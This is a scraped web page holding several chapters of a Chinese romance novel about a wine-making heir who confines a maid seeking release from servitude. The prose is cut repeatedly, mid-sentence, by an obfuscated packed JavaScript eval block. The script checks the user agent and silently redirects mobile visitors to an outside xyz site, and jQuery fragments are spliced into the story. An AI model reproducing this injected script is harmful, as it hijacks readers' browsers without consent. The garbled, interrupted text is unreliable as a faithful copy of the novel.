刘梨心急，无名指点了锅盖上一滴水珠，伸舌舔了舔。丁香小舌倏忽一现，饱满的红唇因酒水的滋润闪着光泽。杜淮琤按捺不住内心狂喜，一把将她横抱起来。 “成了！成了！” 男人开怀大笑，抱着女子转了两圈。“快放我下来！”刘梨头晕目眩，闭着眼捶他。 欣喜过后放她落地，双臂仍紧紧拥着刘梨，下巴抵在她肩头，一遍遍重复：“太好了，太好了！梨丫头你真是我的福将！” 刘梨手臂护在身前，瓮声瓮气道：“既然成了，二爷可是要赏我？” 杜淮琤松开她，“还得再试，得陈放一段时间，看酒体是否有转变。另外这次是用原浆，我想用发酵原料蒸煮试试，不光蒸一道，二道、三道，看看能蒸腾出多少来。”话不及说完，坐到桌边记录起来。刘梨不再出声，手攀上胸前的信物，有了它，脱籍放奴就有了指望。 接下来的日子，两人一直在六尘草庐研究蒸馏酒水。杜淮琤是个触类旁通的人，确认发酵原料可以蒸馏后，几日光景，就设计出一套蒸馏工具，亲自画了图纸，交予程锏下山找工匠打造。 “图纸我分成了几分，你多跑几处，找不同的工匠打造，不要走漏风声。” “属下知晓。” 刘梨奉了茶进来，“白毫银针，二爷这几日总在试酒，不妨用些清淡的茶饮。” 杜淮琤笑着接过，桌上放了一堆瓷瓶。 制酒技艺不光在“酿”，“调”也是重要关节。杜家历任家主都有品酒的好功夫，调酒更是个中高手。杜淮琤将不同批次的蒸馏酒调兑混合，弱化了酒头的杂味，中和了酒尾的寡淡，求其色、香、味的均衡，使得整体酒质更香醇顺口。 桌上就是他这些时日的成果。 品了口香茗，沁人心脾。佳人在侧，他满心的愉悦。“刘梨，琉璃，流离，你怎么取这么个名儿？” 刚准备解释，“嗳，我猜猜，可是因三月里出生，正是漫山梨花开的时节？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021158|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘梨心底翻了个白眼，“是我娘生我前梦到一个大白梨，咬一口脆甜多汁，醒来就生下我啦。后来就叫我小梨了。” 杜淮琤抿嘴打量她，俏生生的小丫头，可不像小白梨一样甜美可人？目光瞥到桌上的酒瓶，细颈大肚，也好似梨子一般。 “这酒制成有你的功劳，不如就用你的名字命名，唤作‘白梨酿’吧。” “不行不行，奴婢不过是起了个念头，酿制酒都是东家的功劳，怎能以我冠名？” “那叫‘淮梨春’，把爷的名也添上。”他不动声色靠近她。 什么劳什子“怀春”！ 刘梨急忙躲开，“不成，我可不想每每喝这酒，不知道什么人把我名字含在嘴里。” 杜淮琤听了立刻觉得十分有道理，也认为这名字很不好。 “话说回来，东家这草庐为什么叫‘六尘’？总也打扫不干净似的。” 他轻笑，“‘六尘’怎扫的干净？眼、耳、鼻、舌、身、意感知色、声、香、味、触、法，是为‘六尘’，它使人感受到世间的美好和痛苦，从而产生诸多妄想，故而也称作‘六妄’。命名‘六尘草庐’，也是希望我能超越六尘的束缚，摆脱俗世纷扰，以清浄六尘为明心之本，以期实现内心的平静和解脱。”不过，总是痴妄罢了。 “美好和痛苦都是这世界的一部分，怎能因偶尔的烦苦便称其为‘妄想’呢？那样岂不是辜负了其他一切期盼和圆满？” 杜淮琤侧头看向刘梨，这丫头孤苦于世，委身为奴，竟还相信世间存有期盼和圆满？ “哦？小梨的期盼是什么？” 她的期盼自然是早日恢复自由身，和伍子骥好好过日子。口里只说道：“自然是希望父母康健，平安喜乐。”接着问：“东家的期盼呢？” 他的期盼？那可太多了，看似要超脱物外，追求解脱。实则他的贪念最多，继承祖业、扩张酒坊，朝堂的、江湖的、家里的……名利声色、得失荣辱，甚至，他看了眼她，爱欲情感，都是他的“妄想”。对世俗的执着让他陷入无尽的困扰，挣扎脱身不得。平静和解脱于他才是妄想。有时想，不如将这尘嚣再用力搅扰，搅得漆黑一团，搅得天翻地覆！又怕，怕一场孤寂凭谁诉？倒不如拉个人一块儿，将一团迷途虚妄灭绝了，成个正觉…… 33. 三十三 故园旧梦 马车上绑了二十来坛酒，由一队人护着，离开西岭山。 杜淮琤在队首，回头嘱咐道：“走稳当些，莫摔了酒。”属下连连称是。 漫不经心扫了眼队末，小丫鬟没落下，还好。 相对于杜淮琤的好心情，刘梨郁闷到了极点。为什么她要跟着回白水城？原以为能求个恩典出府，杜二爷只说还未到时候，需得确认蒸馏酒酒性不变才算成功，让她安心待着。 □□这头驴还是当初带她来的那只，看来山上的日子挺滋润，灰驴胖了一圈，骑着倒不硌。刘梨一路都在小声嘀咕杜淮琤言而无信，烦得驴耳直扇扇。 一行人先去了岩洞，臧管事将人迎进去，又是一番开香设坛，将带来的酒好好窖藏。女人家是不用参与这些事的，刘梨找到相熟的婶子，直问怎么不见阿麦。 “被送走了？谁送的，什么时候？” “你走了没多久吧，说是东家安排的，去哪儿臧老头也没说。”再问就不知道了。 刘梨气极，这杜淮琤真是小肚鸡肠，连个孩子都不放过！再见到他脸上不由带了怨愤。 灰驴回了家再不肯走了，倔劲上来怎么呼喝都不愿挪窝。“别浪费时间了，你，与我同乘。”杜淮琤在马上指指刘梨。 “我坐车就行。”说着爬上运酒坛的马车，蜷好了不再看他。车上刚卸下一批酒，还留了五坛，倒也宽敞。杜淮琤眼神闪了闪，拨转马头开拔。 之后的路都是官道，道路平坦行进速度也快了些。 运货的马车算不上舒服，刘梨倚着酒坛，脑中胡思乱想一番，不知觉睡了过去。入了秋，白日的太阳还是火辣，好在来了片云遮蔽，能睡得安逸少许。 车身一震，缓缓转醒。原来是过了城门的石槛。眼前雾昭昭的，刘梨拉下遮挡，手里是一件鸦青的褙子，盖在两坛酒之间，正好给她搭起一个小“凉棚”。 前头杜淮琤下了马，青衫磊落，正与城门官见礼。 “杜二爷！有日子没见您了，这是打哪儿来？” “刚从山上回来，你家都尉近来可好？” “托福，都挺好。”这杜家二爷和州府里老爷们都是说得上话的，虽是商贾，城门官亦不敢怠慢。 “司门守城辛苦，我刚从山上带了些新制成的酒，留一坛给弟兄们尝尝鲜。”杜家酒声名远播，杜二爷亲自送的酒更让司门脸上有光，忙笑着接了，恭恭敬敬地放杜家车马进城。 “二爷同个守门小吏客套什么？咱们这回拢共带了五坛酒回来，还没到家就送出去一坛。”程锏慢了半个马身问道。 杜淮琤志得意满骑在马上，笑道：“守城门可是个好差事，南来北往、耳目通达，散布消息最快了。”瞧见刘梨懵懵地坐在车上望街景，手里攥着他的外裳，神色木然。 纵马走到车边，“可有想买的？爷今天得闲，陪你逛逛。” “不用。” “前面的锦绣庄东西还过得去，买上几块料子给你做衣裳？” “谢过二爷，婢子的衣裳够穿。”刘梨隐约觉得不对劲。 “你来来回回就两身衣裳，以后常在我身边伺候，总得体面些。” 刘梨猛地抬头，“我是修齐的丫鬟，即使他现在不在府里，也该回东苑伺候大奶奶才是。” 不识抬举的丫头！杜淮琤冷哼一声，一夹马肚先行离去。 回了杜府，刘梨直接被“请”到了西苑。一连几天见不着杜淮琤人影，她在西苑怎么溜达都可以，只是一旦想出西苑即被拦下来。 “来安，你这是做何？”刘梨气鼓鼓地问。 “二爷吩咐，刘姑娘只能在西苑内走动，想要什么吩咐其他人便是。” “我要找茴儿聊闲天，我要去后院看我的菜园子。” “姑娘要是闷，我去把茴儿叫进来陪你；想种菜，我回过二爷，就在咱们这院里给你开块地，种花儿种草都行……只是不能出西苑。” 刘梨气极，来安跟块牛皮糖似的甩不掉，问什么都只答须请示杜二爷。这不就是将她软禁了吗？助他酿成新酒，明明是有功之臣，却落得这个下场，杜淮琤实在卑鄙！想到此，手里的石子恶狠狠砸到池中。那涟漪泛开，将映到池面的一张脸扭曲变形，原本俊逸的一张脸变得面目不清。 “好大的火气，别吓着我池里的锦鲤。” 刘梨刚才观察半天了，池子里哪有一条活物？这西苑跟它主子一样，沉闷无趣，没丁点人情味。只作没听见，不理身后人。 “没规矩的丫头，东家回来连口茶都不给。”杜淮琤心情大好，这几日新酒在外头闯出了名声，求取的人不少，杜家酒铺的门槛 快被人踩破了。不少人欲出重金购买，都被杜淮琤婉拒——这样的稀罕物，他自是用在“要处”。 “我是不懂规矩的，怎不知好端端把人扣住为何？这就是府里的规矩？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021159|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她的恼怒在杜淮琤看来跟小猫露爪似的，指指身边的包袱，“这些都是给你的，特命锦绣庄赶制的，都是时新的款式，看看喜不喜欢。” 刘梨不耐烦他，随口道：“不合适。” “怎么不合适？爷和你朝夕相处，早把你的身量估算得七七八八，你穿上试试，不合适立刻着人改。” 这人真没一点边界感！“刘梨身份低微，穿不得这样好的衣裳。” “酿制新酒你首功一件，怎么穿不得？” “东家既说我有‘首功’，刘梨求您一份恩典，请二爷成全！” 空气冷凝了起来，脸上笑容敛去。“既不喜欢这些衣裳，哪天带你亲自去选一番。” “不是……” 起身打断了她：“我还有事务处理，回头找你说话。” 刘梨抢前拦住他，直接道：“求二爷恩准，许我脱籍回家。” 杜淮琤盯着那双眼，那双眼多数时候是不敢直视他的，她总是怯怯地躲着他的目光，此刻大胆与自己直视，竟是乞求离开。心底升腾起一股怒火，他早知晓她要走，可觉得自己应该能留得住她。这个看着懦弱胆小的乡下丫头，从一开始就想着怎么逃离杜家。所以他对她展露的一点点好意，人家都不屑一顾，衬得自己像个笑话。 刘梨看出他眼中的森冷，强忍心中万千的不情愿，膝盖弯折，缓缓跪在杜淮琤面前，“请东家成全。” “成全什么？”他的手挑起她下颌，让那双眼不要再躲避他。 “成全、成全刘梨脱籍出府。” “你就那么想离开？爷对你不够好吗？”手中力道加深，似乎下一刻就要将她颌骨捏碎。 “二爷之前也是这样捏过我脖子的，刘梨愚笨，不想哪天惹恼主子，莫名其妙丢了性命。”阿麦那样的孩子都不放过，她不想伴在虎狼之侧。 呵，她还是原谅不了他。 手颓败松开，“你起来吧。”刘梨纹丝不动。 这女人这样倔。“暂时还不能放你走，你掌握酿酒秘法，关乎杜家制酒秘钥，不能就这么离府。” 刘梨跪行两步，“我不会说的，我发誓。不信我可以签保密协议，或者您让人看住我也行，只求让我回去。二爷给过我信物的，君子岂能言而无信？” 杜淮琤攥紧了手，许久才缓缓松开，“时候到了自然会放你走，眼下，安生待着吧。”说罢不容她开口，挥袖离去。 34. 三十四 拨雨撩云 魏先良放下甜白瓷盏，再一次打量这间前厅。入目简朴素雅，与杜家在外的豪富名声似乎不那么相称。仔细品摸才发现精妙所在，譬如身下的圈椅，黄杨雕花围子，整块黄花梨嵌板，简约的式样采用稀有木料，寻常人家有这么一对已是难得，杜家厅上设了六对。自家老爷有一对类似的圈椅，形制稍小些，摆在自己书房里，闲来无事挨个盘一盘，然后再用罩布盖上，哪舍得这样大咧咧摆着让客人坐？他挪了挪屁股，坐得更舒服些，又怕腰上的玉佩硌到椅面，把玉往外捋了捋，想想还是将玉佩摘下，塞到随身的荷包里。 一系列动作落在来安眼里，心里不屑，面上只不显，恭敬地为其添茶。“劳总管久候，咱们家二爷近来实在是太忙，这不今儿一大早就被都尉邀约过府，这会也不见家来，想必是那边又留了饭。” “杜二爷贵人事忙，在下理解，理解。”自打进入白水地界，似乎地面上看到的一切事物背后都有杜家痕迹。魏先良来自江南，作为富甲一方的曲家总管，他自认也是见过世面的，原以为白水城偏隅一方，哪及江南繁盛，心里一直带着轻意。如今见到了，实实在在被杜家的赫赫扬扬所震撼。与曲家不同，杜家的实力是不外张的，那种低调的态度，似乎刻意为之，不让锋芒直露在外。相形之下，曲家的诸多做法则显得太过张扬高调，以至于树大招风，四面受敌。这些年曲老爷在商场上惹了不少麻烦，商运不通，财路难开。不然以自家老爷的脾性，也不至愿意和远在白水的杜家结亲。 “我家主人出门前已安排好魏总管下处，嘱咐小的们好生招待，不得怠慢。”魏先良跟随来安出了厅堂，花窗下和一女郎打了个照面。那女郎似乎吃了一惊，忙转身匆匆离去。惊鸿一瞥只见女子花容昳丽、身姿婀娜，想必是府里内眷，心下赞叹也不敢多打听。 刘梨守了几日不见杜淮琤人影，这天听见前厅动静过来寻人，见来安领着个面生的男人，急忙忙躲回后园。心中烦闷无处诉说，恰如飞鸟折了翅羽，硬生生困在这宅门里，了无生机。 下半晌意外迎来了访客，是东苑的大奶奶薛素卿。 “前些时日修齐来信，还问起你，嘱托我照应你一二，不想你倒被二爷带回府了。”这话颇有些意味，刘梨肃着脸道：“回府非我本愿，刘梨只想脱了奴籍，回家孝敬父母。” “是孝敬父母，还是想回家嫁人呀？”薛素卿一脸的促狭，看刘梨惊疑，直言道：“实不相瞒，我今日来分别受了两人所托，两个人两个意思，倒叫我为难了，我想先听听你的想法。” “大奶奶直接问便是。”这死局总要破解才好。 “伍子骥是我夫君生前挚友，他们名为主仆，私交却甚好。伍子骥来跟我要你，我倒是不意外，梨丫头温柔细致，相貌也是一等一的，他求娶你我很乐意做这个大媒。”说到此停了一下，看刘梨面带羞涩，大致明白了她本意，想到自家二叔不由暗暗泛苦。 “只是你现在二爷房里伺候，放不放人总要问过他。二爷的意思……” “大奶奶和二爷提了？他怎么说？”刘梨急问道。 薛素卿按住她手，“你想好了，杜家虽不是钟鼎之家，但是朱门绣户，可保你一生富贵。” 刘梨红了眼圈摇摇头，“我不贪图这些，刘梨天性散漫，拘不得在这宅门里，求大奶奶与二爷好好说和，放我归家去。” “怎么就‘拘’着你了？可是怕以后主母刁难？放心，淮琤不是是非不分的人，委屈不了你，再不济有我给你撑腰呢。”这话薛素卿说的有些心虚，杜淮琤正在议亲的曲家姑娘，心性如何她还不知晓。 “和他人不相干，是刘梨不愿一辈子耗在宅门里，过一眼望尽一生的日子，我想出去生活，不依附他人，试试过出自己的人生。” 薛素卿哑然，她现在正是“一眼望尽一生”，在娘家依附父母，出嫁从夫，以后必是依仗修齐。以前觉得没什么不对，这一生就这样了，突然有人说可以过出自己的人生，不必依附于人，不用虚耗光阴，她疑惑了。 “此事不急在一时，你再想想，缓做决定。” 刘梨只是摇头，薛素卿观她心意已决，心里不免叹息，宽慰了几句才离去。待回头咂摸刘梨一番话， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021160|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里也颇有感慨。 她走后，刘梨枯坐房中，日暮西沉也没有掌灯。 黑暗中忽有所感，一个激灵站起，却被人从背后圈住，不让她转身。 “在想什么？想你的情郎伍子骥吗？”杜淮琤明显压抑着嗓门，“爷真没料到，眼皮子底下让你俩有了苟且，竟求到嫂嫂那儿去了！” 男人灼热的身躯紧靠着她，刘梨恼道：“我和伍先生清白守礼，你不要胡乱诋毁！” “守礼？！他伍子骥要真守礼怎么会肖想我身边的人？我……你……”杜淮琤气愤不能语，刘梨趁机挣开他。 “伍先生多次救我于危难，我和他情投意合，求二爷成全。” “救你于危难？情投意合？”虽然在黑暗里，他依然能一下子攫住她的眼睛。“我没有相救过你吗？我的心意，难道你……” “不，我不知道！”后面的话她不想听。所谓“心意”，到底是出自喜欢还是新鲜感？她不会因一个高位者表露的好感沾沾自喜，风险太大，她的筹码很小，只敢去抓住平实的情感，真实的生活。杜淮琤那样的天之骄子，怎会与她这种平民女子相敬相守？他表现出的那一点不一样，刘梨不敢多想，倒不如别说出口，各自安好。 杜淮琤心底涌出陌生的酸涩，他最后挣扎道：“我明明……”后头的话他说不出来，他如何说出平生第一次对女子动心，她的一颦一笑都被清晰描摹在心？杜二向来杀伐果断，她的出现却令他心旌动摇，甚至后悔去与曲家联姻。盘算筹谋多时的计划，因一个小女子动摇，这不像杜淮琤所为。可悲她的情意竟不在自己身上，说出来徒留笑柄罢了。 话锋一转，说出口的是：“你可是怕我以后迎娶正室？杜家的主母，是杜家‘需要’的媳妇，以后无论谁家女进门，我都会对你好。”他语气软和，还带着期翼。 “二爷与哪家议亲同婢子无关，二爷如此失言怕是会寒了未来夫人的心。” 夜色中，她朝着杜淮琤定定说道：“刘梨恳求杜二爷放婢子出府，我与伍郎祝杜二爷早日找到缘定之人，白首成约，永结同心！” 35. 三十五 缔结姻缘 程锏觉得不对劲。 太不对劲了，虽然二爷面上一切如常，可他就是觉得哪里不对！有心跟来安打听，那家伙臊眉耷眼，只不作声。不得已屏气凝神，处处小心行事。 “魏总管稍待，我家二爷即刻就来。” “不急，不急。”魏先良笑道。跟前这位伍子骥先前就打过照面，不但丰姿过人、才思敏捷，更是颇有胆识。两家有这个意思，是他早前独自造访曲府，直抒利弊，细呈杜曲两姓结姻的好处。初始老爷和一众幕宾还拿捏着派头，也是伍子骥直述曲家面临的困境，听得座下众人心惊胆落。来前听老爷的口风，对这门婚事该是允了，只是江南和白水远隔千里，两家又素无交往，杜家到底境况如何，杜淮琤又是个什么样的人，这一切都让曲家充满疑问，这才令他打个先锋，来探探虚实。 “魏先生，淮琤来迟，还请先生恕罪。” 魏先良闻声连忙起身相迎。礼毕，抬头打量面前的杜家家主。玉树美丰仪，男子长身玉立，笑吟吟地看向自己。这一眼，竟让魏先良自惭形秽起来，忙低身拜道：“曲家管事魏先良，奉我主之命，持帖拜谒杜家主人。” “先生不必多礼。车马劳顿，辛苦先生了。” “哪里，为老爷分忧，是我等分内之事。前些时日杜二爷遣伍先生远赴江南，倡议两家结姻亲一事……” “哎，不急于这一刻。”双方分宾主位坐下，杜淮琤端起茶盏，皱了下眉头，对来安喝道：“魏先生从江南远道而来，是我府上的贵客，怎么就上这样的茶？速叫丫头换过！”堂上众人见他生怒，俱不敢动作，魏先良干巴巴地笑笑，心里愈发捉摸不透。 不一会儿，只见一貌美丫鬟进来奉茶，正是那日撞见的。 刘梨被来安拉进来上茶，一进厅就瞥见伍子骥坐在下首。千万句话儿抑在心里，强忍着没乱了方寸，最后给子骥换茶时实在没忍住，眼睛上瞟，正对上子骥温煦的目光，唇角微扬，慌忙错开眼退下堂去。 这一笑正落在杜淮琤眼里，如针扎火燎一般。偏这时魏先良插话。 “这次奉我家老爷之命前来，一路见杜府家业兴盛，杜二爷经营有道，实在后生可畏也。”还要再开口，杜淮琤先道：“先生一路颠簸辛苦，还请先生舍馆少歇，晚上我在城中设了宴，有事稍待些时日再说不迟。”杜淮琤淡淡说道。 这男人天生的威仪，即使自己年长于他，面对杜淮琤，魏先良却无法自如地提出异议，只能由来安领下去回舍馆休整，来了几日好不容易见上一面，见上面又说不得几句话，议亲一事只能暂且搁置下来。 “少爷，还是要拖着嘛？”程锏问道。 “嗯，先晾他几天。曲老爷子晾了我这么久，也让他试试这滋味。嘱咐下去，好好款待魏先生，让他体会下白水异于江南的温柔乡。” 说到温柔乡，遂瞥向伍子骥，“前儿大嫂嫂寻我，说跟我讨个人，道是子骥要的，可有此事？” 伍子骥起身，拱手向上道：“正是。原先修齐身边的丫头，唤作刘梨的，子骥心悦向之，故而特向大奶奶求娶。” 一个“情投意合”、一个“心悦向之”，好个郎情妾意！ 杜淮琤冷哼，“那丫头我使着合心意，不想放她出去。况且在我杜家侯服玉食惯了，离了这里怕是过得没这么滋润。” 伍子骥面色如常，坦言道：“我了解梨儿，她不是贪欢逐乐之人。子骥虽白屋寒门身无长物，但梨儿跟了我，必不让她受困苦委屈。” 他一口一个“梨儿”，刺得杜淮琤焦躁不已。 伍子骥直视杜淮琤，“二爷欲与曲家结亲，这当口应以此事为重。属下的亲事不劳爷费心，后院的事伍某自会求请大奶奶做主。”这意思，是指不要他插手了。 花厅。 帷幔低垂，不时有侍从安静进出。偶有瓷器相碰的声音，清越悦耳。杜家固定十五、三十的团圆宴，目下只有杜淮琤、薛素卿二人。饶是如此，也是难得两人同时出席。 薛素卿面前一碗翡翠瑶柱羹，有一搭没一搭地搅着。“曲家来人了？” “是。”杜淮琤放下碗箸，回道：“先干晾他几日。” 终身大事也要如此筹谋角力，薛素卿不得不替他惋惜，樱唇轻启：“淮琮若在，不想你这样。我和你兄长，希望你幸福喜乐。” “嫂嫂觉得我哪里不喜乐了？” 他周身低沉的气压，哪有即将娶亲的欢喜。“你以前少年心性纵情恣意，我们都以为你会娶个你爱的女子。”她的声音柔婉澄净。 “哈哈。”仿佛听了什么笑话似的，杜淮琤大笑起来。仰颈饮下一杯酒，眼角一点湿意不知是笑的，还是被酒呛的。 执起酒壶想要再倒，被大奶奶按住酒杯，“不要再喝了！” 倒叫他就着壶嘴直饮了个痛快。 “嫂嫂别这么看我，好像淮琤受了多大委屈似的。曲家堆金积玉，曲小姐随嫁妆奁定然丰厚，攀上这样的人家，淮琤占了便宜才是。”杜淮琤戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021161|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谑道。 “我杜家累世富贵，何须在意他曲家财帛？” “嫂嫂有所不知，官府现在有意针对杜家。白水周边的粮户青苗税逐年上涨，使得粮户不得不提高粮价。杜家各处的商号也接连受到打压。淮琤不得不留些后路。和曲家结亲，就是拥有了江南粮仓，酿酒的粮食来源可暂且后顾无忧。”杜淮琤正色道。 薛素卿还是第一次听杜淮琤说起商场上的事。那些一向是男人们烦忧的，她一直相信他们会处理得很好，下意识忽略了他们必须承受的压力和忧虑。以前是杜老爷和杜淮琮担着，现在是杜淮琤，她和修齐这些年来一直在他们的护佑之下——正是刘梨说的“依附于人”。她为自己的无知无力愧赧，转而更希望这个男人能被爱、被体贴。 “梨丫头那里……”薛素娘开口。 “伍子骥是兄长看重的人，人品应当过得去，跟他倒不委屈那丫头。只是我现在还不能放她离府，过段时间……”他滞了滞，“过段时间，我给她备副嫁妆，送她出嫁。” 薛素卿心里不是滋味，“要不我再去劝解她一番？” “嫂嫂不必劳忧，一个小丫头，不值当什么的。” 她明白杜淮琤不愿承认，可她看得出，他心里有那丫头。男人看向女人的眼神，让她，让同为女人的她好生羡慕，何况她也曾被那样的眼神凝望过。 薛素卿目光锁向虚空，喃喃道：“眼睛骗不了人。” 是吗？我的感情已经流溢到这般地步？杜淮琤心想。 薛素卿继续道：“这丫头纯净、简单，和她在一起才是真实的你，而不是那个成日里注重威仪的杜家家主。” 杜淮琤嗤笑一声，起身离席打算终止这个话题。 “杜小二”，薛素卿情急下唤出杜淮琤乳名，“嫂嫂希望你考虑清楚。和曲家联姻，以后纳什么人怕是由不得你；她那样的，也是不甘屈居人下的。娶了曲小姐，你和她今生便是缘尽了！”好不容易有个喜欢的，不再努力一把吗？ 杜淮琤忽然觉得有些可笑，情爱不过调剂罢了，大丈夫立身于世，当建功立业，自己这般委顿，实在惺惺作态。 甩甩头，心里的抑郁仿佛开解一些，他不容自己沉溺在失意里，施礼道：“嫂嫂，淮琤醉了，请容我先行告退。”说罢转身离去，月下树影婆娑，他穿梭在明暗间，须臾消失不见。 声称酒醉的男人，离席仍不忘顺走酒壶。薛素卿望着满席珍肴，冷得没一点温度，眼泪止不住落了下来。 36. 三十六 夜渡莲舟 刘梨坐在马车里，不明白为何特意吩咐她来送什么大衣裳。时隔多日，这还是第一次离府。身边无人拘束，她大着胆子挑起车帘观望夜景。 白水城繁盛，入了夜还是车马喧嚣行人如织。一对年轻夫妇，在摊子上选花儿，丈夫选了一枝，亲手簪到妻子鬓间，马车过去好久，刘梨还朝后望着，即使看不见他们面目，想来也是幸福洋溢的。 醉香楼艳帜高张，牌匾旁一溜的大红灯笼，照得楼里雕栏玉砌富丽堂皇，穿红着绿的姑娘倚栏媚笑，向楼下招应客人，几个浮浪子，涎笑向楼上说着浑话。忽而一人捅了捅同伴，挤眉弄眼示意他去看正从马车下来的姑娘。 “别看了，瞧那些马的当卢，杜家的！”有明白人。 程锏黑着脸，射去一记眼刀，一伙人忙退到半条街外。他也不明白，二爷怎么让他把刘姑娘带到这儿来？一路沉着脸，谁见了都躲。 “你还是车上等着吧，外面多有不便。” “不是叫我来送衣裳吗？既送到了，我回去便是。” 走还是留哪是他俩决定的？程锏给她个眼神，不再言语。刘梨悻悻退回车厢，程锏守着车门，再度恶狠狠盯着过往行人。醉香楼的老鸨子叫苦不迭，这样哪还有客人敢进来？偏又是惹不起的，跺脚在楼里指桑骂槐地发泄一通。 等了得有一个时辰，醉香楼门口一阵喧嚣，似乎有客人离开。魏先良左拥右抱，被两个姑娘架着出来。嘴里含糊不清，一脸猥琐地往姑娘脸上凑，被一巴掌撇开了。还有几位老爷，俱是衣着华贵，也是脚步轻浮地被搀出来。 杜淮琤走在最后，隐在灯笼阴影里看不清面目。刘梨知道他看见她了，等到其他车马散去，门前稀落才拿着衣裳下车。上次谈话两人不欢而散，后又让她与子骥匆匆见了一面，实在摸不透这人心思。 杜淮琤接过大氅，却是裹在了刘梨身上，不容反抗牵起她往醉香楼里走。 “马车回去，不用等我们。” 刘梨看着愈来愈近的朱红大门，还有楼里姑娘不屑的目光，挣着道：“杜淮琤你放开！你要做什么？” 杜二爷自然不理会她的抗议，牵着她穿过醉香楼大堂、回廊、后苑。刘梨低头跟他一路小跑，直到听见水声才停下。 河水轻轻拍打码头，一只乌蓬小船松松系在桩木上，似乎就等着他们到来。杜淮琤解下绳索跳上小船，朝着岸上的姑娘伸出手，“上来。” “做什么？” “你不是讨要个说法么？跟我来，我给你个答案。” 船身一阵晃悠，杜淮琤忙攥住她。一绺晚香飘荡鼻间，她换了香。 “坐好。”松开手，走到另一头，摇起船橹驱船离岸。 凉风习习，拂过肌肤引起一阵颤栗，刘梨裹紧了大氅。两岸灯火尽数熄灭，星野垂原，河中只有他们船上的一盏风灯，亮着昏黄的颜色。小船破开水面，像划过一匹深黑的丝绢。 “想不到你还会驾船。”刘梨低声道。 “你不知道的可多了。”杜淮琤一脸的骄傲神情，“带你去个地方。” 这会儿倒不急于知道去向哪里，心里前所未有的沉穆。此刻，有种回家的寂静和安宁。 夜幕深沉，没人说话，只剩浆声依旧，划向旅人梦里。 船速渐缓，好像有什么阻碍了船的行进。 “到了，你看！” 星光下，竟是层层叠叠的莲！荷叶田田，一片接着一片，蔓延至整个水面。几株娇羞的莲花，就在刘梨身边低垂着脑袋，静谧、祥和。 恰一幅星夜墨莲图。 “喜欢吗？”杜淮琤坐到刘梨近旁，沉声问道。 “喜欢！这时节竟然还有荷花。”她长舒一口气，“从没见过这么美的景色，真想多待一刻。” “你别说，小爷我没力气划回去了，还真走不了了。” 刘梨轻笑，抬手扶住船边一朵莲花。沉甸甸的花朵依偎在手心，轻柔摩挲，流连不舍。杜淮琤的手也在这个时候抚上她的脸颊。 刘梨一惊，不着痕迹地躲开。 “你说，如果我比伍子骥早一步，会不会……” “不会。”她沉着答道：“感情本就是两人心意相通，才能契合。单丝不成线，何况我与二爷云泥之别，身份地位不相配。刘梨虽是农家女，却也有几分傲骨，不愿与人做小。” “我爱重你，待你与旁人不同，只要你我一处，便是一生一世的夫妻，其他的何须在意？”他答的露骨，黑夜给了人掩护，心底的话不再遮遮掩掩。 他的回答生涩幼稚，刘梨觉得好笑，“一生一世，中间再没有别人，你做得到吗？” “我”，他想了想，“只要你愿意，我只把这一颗心给了你。” 无奈摇摇头，“杜淮琤，我的心里只有伍子骥，感情不是生意，你不能强行左右我的情感。” 他不想懂，她也不愿就这个话题继续辨析，那就说他能懂的吧，刘梨直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021162|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 